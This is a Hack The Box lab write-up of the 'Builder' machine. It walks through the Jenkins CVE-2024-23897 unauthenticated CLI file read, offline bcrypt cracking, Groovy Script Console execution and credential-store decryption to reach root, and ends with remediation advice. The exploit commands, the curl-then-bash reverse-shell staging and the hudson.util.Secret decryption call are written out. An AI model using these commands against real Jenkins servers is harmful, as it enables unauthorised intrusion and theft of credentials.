Skip to content

Builder — Unauthenticated Jenkins CLI File Read to Root Credential Recovery

Tools
nmap, jenkins-cli, hashcat, ssh
Skill demonstrated
Jenkins attack-surface analysis from unauthenticated file disclosure to credential-store abuse
Tags
  • linux
  • jenkins
  • ci-cd
  • credential-management
Field Value
Difficulty Medium
Target environment Linux (Ubuntu) host running a Jenkins 2.441 CI/CD server
Starting position Unauthenticated network access
Objective Escalate from unauthenticated Jenkins CLI file disclosure to root access through a recovered password hash and stored deployment credentials
Outcome Code execution as the jenkins service account and root SSH access via a credential-store private key

Builder is a Medium-rated Hack The Box Linux lab centred on a Jenkins CI/CD server affected by CVE-2024-23897. An unauthenticated file read in the Jenkins CLI exposes the user index and a per-user configuration file, yielding a bcrypt password hash; offline recovery enables authentication, the Groovy Script Console then provides operating-system command execution as the Jenkins service account, and a root SSH private key held in the Jenkins credential store is decrypted through Jenkins’ own secret API. Target addresses, the account identity, hash and credential values, the private key, and payload specifics are replaced with role-based placeholders or omitted; command syntax is preserved.

Attack path: Unauthenticated Jenkins CLI @ file read (CVE-2024-23897) → users index → per-user config.xml → bcrypt password hash → offline recovery → Jenkins authentication → Script Console execution as jenkinscredentials.xml root SSH key → hudson.util.Secret decryption → root SSH access

  • Target: an Ubuntu Linux host exposing SSH and a Jenkins CI/CD server over HTTP.
  • Recorded services: OpenSSH 8.9p1 on port 22 and Jetty 10.0.18 serving the Jenkins dashboard on port 8080.
  • Jenkins version: 2.441, confirmed from the HTTP response headers and the /login page.
  • Starting position: unauthenticated network access, with no provided credentials.
  • Objective: assess the impact of unauthenticated Jenkins CLI file disclosure, the administrative Script Console, and the credentials held in the Jenkins store.
  • Constraints: activity was confined to the Hack The Box lab environment.

Observation: a full TCP scan exposes SSH and a Jenkins dashboard whose title and versions identify the CI/CD server.

Terminal window
nmap -sC -sV -p- --min-rate 5000 -oA <SCAN_OUTPUT> <TARGET_IP>

Truncated scan output:

22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6
8080/tcp open http Jetty 10.0.18
|_http-title: Dashboard [Jenkins]

Significance: the dashboard title identifies a Jenkins instance, and the running version determines which Jenkins CLI behaviours apply to it.

Result: Jenkins 2.441 is identified from the HTTP response headers and the login page, alongside OpenSSH on the host.

2. Unauthenticated Jenkins CLI File Read (CVE-2024-23897)

Section titled “2. Unauthenticated Jenkins CLI File Read (CVE-2024-23897)”

Observation: Jenkins 2.441 and earlier process CLI arguments beginning with @ as file paths before command handling, and the help command runs without authentication, so parse errors can disclose files readable by the Jenkins process.

Terminal window
java -jar <JENKINS_CLI_JAR> -s http://<TARGET_IP>:8080 help "@/var/jenkins_home/users/users.xml" 2>&1

Truncated output:

<string><JENKINS_USER_DIR></string>

The directory identifier is then used to request that user’s configuration file:

Terminal window
java -jar <JENKINS_CLI_JAR> -s http://<TARGET_IP>:8080 help "@/var/jenkins_home/users/<JENKINS_USER_DIR>/config.xml" 2>&1
<passwordHash><BCRYPT_PASSWORD_HASH></passwordHash>

Significance: an unauthenticated CLI request reads arbitrary files the Jenkins process can access; the users index supplies the path component of the per-user configuration, which stores the account’s password hash.

Result: the user index and a per-user config.xml are read, and a bcrypt password hash is recovered.

Observation: the recovered value is a bcrypt hash, so it must be cracked offline rather than used directly.

Terminal window
hashcat -m 3200 <HASH_FILE> <WORDLIST>
<BCRYPT_PASSWORD_HASH>:<RECOVERED_PASSWORD>

Significance: bcrypt ($2a$10$) is a deliberately slow hash, and the account password was weak enough to fall to a dictionary attack; the recovered value is the credential that authenticates to Jenkins.

Result: the account password is recovered offline.

4. Jenkins Authentication and Script Console Execution

Section titled “4. Jenkins Authentication and Script Console Execution”

Observation: the Groovy Script Console executes arbitrary code with the permissions of the Jenkins process. The source records that the recovered password authenticated successfully; no separate login transcript was retained.

println "id".execute().text
uid=1000(jenkins) gid=1000(jenkins)

The console is also used to stage a reverse shell, preserved here only as placeholder patterns:

println "curl -o <LOCAL_STAGING_PATH> <REMOTE_URL>".execute().text
println "bash <LOCAL_STAGING_PATH>".execute().text

Significance: the Script Console runs inside the Jenkins JVM, so its output reflects the service account’s operating-system identity; the same channel can stage an interactive shell under that identity.

Result: the id output establishes operating-system command execution as the jenkins service account.

Observation: the Jenkins home directory contains credentials.xml, holding an encrypted SSH private key configured for the root user.

Terminal window
cat /var/jenkins_home/credentials.xml
<username>root</username>
<privateKeySource ...><privateKey><ENCRYPTED_JENKINS_SECRET></privateKey></privateKeySource>

Jenkins’ hudson.util.Secret API decrypts values protected by its own credential encryption, and the Script Console can call it:

println(hudson.util.Secret.decrypt("<ENCRYPTED_JENKINS_SECRET>"))
-----BEGIN RSA PRIVATE KEY-----
[key material omitted]
-----END RSA PRIVATE KEY-----

The recovered key authenticates directly as root:

Terminal window
ssh root@<TARGET_IP> -i <RECOVERED_ROOT_KEY>
root@<TARGET_HOST>:~#

Significance: the entry is scoped to the root account, so decrypting it converts a stored deployment secret into a privileged key, and the same Jenkins process that protects the secret is the process able to unwrap it.

Result: a root SSH private key is decrypted and used to obtain a root shell on the host.

Challenge Decision Rationale
The per-user configuration path is not known up front Read /var/jenkins_home/users/users.xml first, then request that directory’s config.xml The @ argument reads a fixed path, so the users index supplies the per-user directory component
The stored SSH key is encrypted by Jenkins’ own mechanism Decrypt with hudson.util.Secret from the Script Console The value is protected by the application’s credential encryption, so its API unwraps it directly

The evidence establishes unauthenticated file read through the Jenkins CLI, authenticated code execution as the jenkins service account, and root access obtained with a private key decrypted from the Jenkins credential store. The material weakness is the combination of an unauthenticated disclosure primitive, an administrative console, and a credential store holding a root key; CVE-2024-23897 is the only software vulnerability in the path.

Limitations: the credential material is not reproducible from this writeup.

Each finding pairs the observed root cause with its demonstrated impact and a prioritized action. The actions are recommendations; none was validated in the lab.

  1. Unauthenticated Jenkins CLI file read (CVE-2024-23897). Jenkins 2.441 exposed the @ argument file read to unauthenticated requests, disclosing files readable by the service. Recommendation: upgrade to a release that addresses CVE-2024-23897 (fixed in 2.442) and disable the CLI when it is not required (jenkins.CLI.disabled=true). Detection: alert on CLI requests reaching argument parsing from unauthenticated sources.
  2. Script Console as unrestricted code execution. The Groovy Script Console executed arbitrary code with the Jenkins process permissions. Recommendation: restrict Script Console access to a dedicated administrator identity, audit executions, and alert on use outside approved maintenance windows.
  3. Privileged credentials in the CI/CD credential store. credentials.xml held a root SSH private key that Jenkins’ own API could decrypt. Recommendation: keep privileged infrastructure keys out of CI/CD stores and use narrowly scoped, time-limited deployment identities instead. Detection: monitor credential-store access and unexpected root SSH authentication.
Edit page

Last updated: